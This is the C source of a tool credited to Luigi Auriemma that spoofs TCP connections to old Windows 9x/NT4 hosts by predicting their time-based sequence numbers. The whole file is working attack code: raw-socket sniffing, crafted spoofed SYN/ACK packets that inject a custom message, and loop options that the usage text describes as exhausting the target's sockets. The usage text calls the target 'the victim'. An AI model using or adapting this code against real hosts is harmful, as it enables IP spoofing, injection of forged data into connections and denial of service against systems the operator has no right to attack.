/*

Windows 9x/NT4(old) TCP connections spoofer
by Luigi Auriemma
e-mail: aluigi@autistici.org
web:    aluigi.org


INTRODUCTION
============
This tool creates spoofed TCP connections with Windows 95/98/98SE/NT(old)
hosts and sends also a custom message to them.
That's possible through the unsecure method used by these hosts to
generate SEQ numbers that are time based and not random.


REQUIREMENTS
============
This tool works only on *nix (but probably can be ported on Win too) and
you must have at least Libnet 1.1.0 (gcc -o tcps tcps.c -lnet):

  http://www.packetfactory.net/libnet


LICENSE
=======
    Copyright 2004,2005,2006 Luigi Auriemma

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA

    http://www.gnu.org/licenses/gpl.txt
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <libnet.h>



#define VER         "0.2"
#define SNIFFSZ     sizeof(struct iphdr) + sizeof(struct tcphdr)
#define TEXTSZ      512



u_int get_my_ip(char *interface);
u_int sniff_syn(u_int my_ip, u_int dst_ip, u_int mysyn);
void tcp_pck(u_int saddr, u_int daddr, u_int seq, u_int ack_seq, u_char *data, u_int datasz);
void libnet_err(void);
void std_err(void);



libnet_t        *libsock;
u_short         sport,
                dport;
libnet_ptag_t   ipv4_tag;
libnet_ptag_t   tcp_tag;



int main(int argc, char *argv[]) {
    u_int   mysyn;
    u_int   src_ip,
            dst_ip,
            my_ip,
            textsz = 0,
            seq;
    int     i,
            loop   = 0,
            pcknum = 16,
            wait   = CLOCKS_PER_SEC / 10;
    u_char  *text = NULL;
    char    errbuf[LIBNET_ERRBUF_SIZE],
            *iface;


    setbuf(stdout, NULL);

    fputs("\n"
        "Windows 9x/NT4(old) TCP connections spoofer "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if (argc < 6) {
        printf("\n"
            "Usage: %s [options] <source> <sport> <dest> <dport> <iface>\n"
            "\n"
            "Options:\n"
            "-l       infinite loop, will be created infinite connections to the remote\n"
            "         host consuming all its sockets using a sequential source port\n"
            "-L       as above but with random source IP and port\n"
            "-p NUM   number of ACK packets to send to the remote host, default is %d\n"
            "-t TEXT  specify the text message to send avoiding to insert it later\n"
            "\n"
            " Note: the source (IP or hostname) must not exist or must be unreachable\n"
            "       because if it replies with a RST the attack will fail\n"
            "\n"
            " Example: %s 1.2.3.4 1234 192.168.0.2 80 eth0\n"
            "\n", argv[0], pcknum, argv[0]);
        exit(1);
    }

    argc -= 5;
    for(i = 1; i < argc; i++) {
        switch(argv[i][1]) {
            case '-':
            case '?':
            case 'h': {
                fputs("\nLaunch this tool without arguments for the command list\n\n", stdout);
                exit(1);
                } break;
            case 'l': loop = 1; break;
            case 'L': loop = 2; break;
            case 'p': pcknum = atoi(argv[++i]); break;
            case 't': {
                text = argv[++i];
                textsz = strlen(text);
                } break;
            default: {
                printf("\nError: wrong command-line argument (%s)\n\n", argv[i]);
                exit(1);
                } break;
        }
    }

    iface = argv[argc + 4];
    printf("- interface name:   %s\n", iface);

    my_ip = get_my_ip(iface);
    printf("- interface IP:     %s\n",
        inet_ntoa(*(struct in_addr *)&my_ip));

    libsock = libnet_init(
        LIBNET_RAW4,
        iface,
        errbuf);
    if(!libsock) {
        printf("\nError: %s\n", errbuf);
        exit(1);
    }

    if(libnet_seed_prand(libsock) < 0) libnet_err();

    src_ip = libnet_name2addr4(libsock, argv[argc], LIBNET_RESOLVE);
    if(src_ip == INADDR_NONE) libnet_err();
    sport = atoi(argv[argc + 1]);

    dst_ip = libnet_name2addr4(libsock, argv[argc + 2], LIBNET_RESOLVE);
    if(dst_ip == INADDR_NONE) libnet_err();
    dport = atoi(argv[argc + 3]);

    if(!text) {
        printf("- insert the text to send to the victim:\n  ");
        text = malloc(TEXTSZ + 1);
        if(!text) std_err();
        fflush(stdin);
        fgets(text, TEXTSZ, stdin);
        textsz = strlen(text) - 1;
        text[textsz] = 0;
    }

    if(!textsz) text = NULL;    /* to avoid libnet inconsistency */

    ipv4_tag = LIBNET_PTAG_INITIALIZER;
    tcp_tag  = LIBNET_PTAG_INITIALIZER;

    for(;;) {
            /* BEGIN ATTACK */
        fputs("- send discovery SYN and sniff SEQ\n", stdout);
        seq = sniff_syn(my_ip, dst_ip, libnet_get_prand(LIBNET_PRu32));
        printf("\n- sequence number: %u\n", seq);

        usleep(wait);

        mysyn = libnet_get_prand(LIBNET_PRu32);
        printf("- send spoofed SYN %u\n", mysyn);
        tcp_pck(src_ip, dst_ip, mysyn, 0, NULL, 0);

        usleep(wait);

        mysyn++;
        seq += (wait / 1000);
        fputs("- send spoofed ACKs with text:\n", stdout);
        for(i = 0; i < pcknum; i++, seq++) {
            printf("  %u\n", seq);
            tcp_pck(src_ip, dst_ip, mysyn, seq, text, textsz);
            usleep(wait);
        }

        fputc('\n', stdout);
        if(!loop) {
            break;
        } else if(loop == 1) {
            sport++;
            printf("- source port:   %hu\n", sport);
        } else {
            src_ip = libnet_get_prand(LIBNET_PRu32);
            sport  = libnet_get_prand(LIBNET_PRu16);
            printf("- source IP:     %s\n", inet_ntoa(*(struct in_addr *)&src_ip));
            printf("- source port:   %hu\n", sport);
        }
    }

    libnet_destroy(libsock);
    fputs("Finished\n", stdout);
    return(0);
}



u_int get_my_ip(char *interface) {
    struct  ifreq   ifr;
    int     sd;

    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd < 0) std_err();

    strncpy(ifr.ifr_name, interface, sizeof(ifr.ifr_name));
    if(ioctl(sd, SIOCGIFADDR, &ifr) < 0) std_err();
    close(sd);

    return(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr.s_addr);
}



u_int sniff_syn(u_int my_ip, u_int dst_ip, u_int mysyn) {
    struct  iphdr   *ip;
    struct  tcphdr  *tcp;
    int     sd;
    u_char  packet[SNIFFSZ];

    tcp_pck(my_ip, dst_ip, mysyn, 0, NULL, 0);
    mysyn++;

    sd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    if(sd < 0) std_err();

    ip  = (struct iphdr *)packet;
    tcp = (struct tcphdr *)(packet + sizeof(struct iphdr));

    for(;;) {
        if(read(sd, packet, SNIFFSZ) < 0) std_err();
        fputc('.', stdout);

        if(
          (ip->protocol == IPPROTO_TCP)
          && (ip->saddr == dst_ip)
          && (ntohs(tcp->source) == dport)
          && (ntohs(tcp->dest) == sport)) {
            if(tcp->rst) {
                printf("\nError: port %u seems closed\n", dport);
                close(sd);
                exit(1);
            }
            if(ntohl(tcp->ack_seq) == mysyn) break;
        }
    }

    close(sd);
    return(ntohl(tcp->seq));
}



void tcp_pck(u_int saddr, u_int daddr, u_int seq, u_int ack_seq, u_char *data, u_int datasz) {
    u_int8_t    flags;

    if(!ack_seq) flags = TH_SYN;
        else flags = TH_ACK | TH_PUSH;

    tcp_tag = libnet_build_tcp(
        sport,                  /* source TCP port */
        dport,                  /* destination TCP port */
        seq,                    /* sequence number */
        ack_seq,                /* acknowledgement number */
        flags,                  /* control flags */
        1024,                   /* window size */
        0,                      /* checksum */
        0,                      /* urgent pointer */
        LIBNET_TCP_H + datasz,  /* TCP packet size */
        data,                   /* payload */
        datasz,                 /* payload length */
        libsock,                /* libnet context */
        tcp_tag);               /* ptag */

    if(tcp_tag < 0) libnet_err();

    ipv4_tag = libnet_build_ipv4(
        LIBNET_IPV4_H + LIBNET_TCP_H + datasz,  /* total packet len */
        0x10,                   /* ToS */
        libnet_get_prand(LIBNET_PRu16), /* IP ID */
        0,                      /* IP Frag */
        128,                    /* TTL */
        IPPROTO_TCP,            /* protocol */
        0,                      /* checksum */
        saddr,                  /* source ip */
        daddr,                  /* dest ip */
        NULL,                   /* payload (none) */
        0,                      /* payload size */
        libsock,                /* libnet context */
        ipv4_tag);              /* ptag */

    if(ipv4_tag < 0) libnet_err();

    if(libnet_write(libsock) < 0) libnet_err();
}



void libnet_err(void) {
    printf("\nError: %s\n", libnet_geterror(libsock));
    libnet_destroy(libsock);
    exit(1);
}



void std_err(void) {
    perror("\nError");
    exit(1);
}

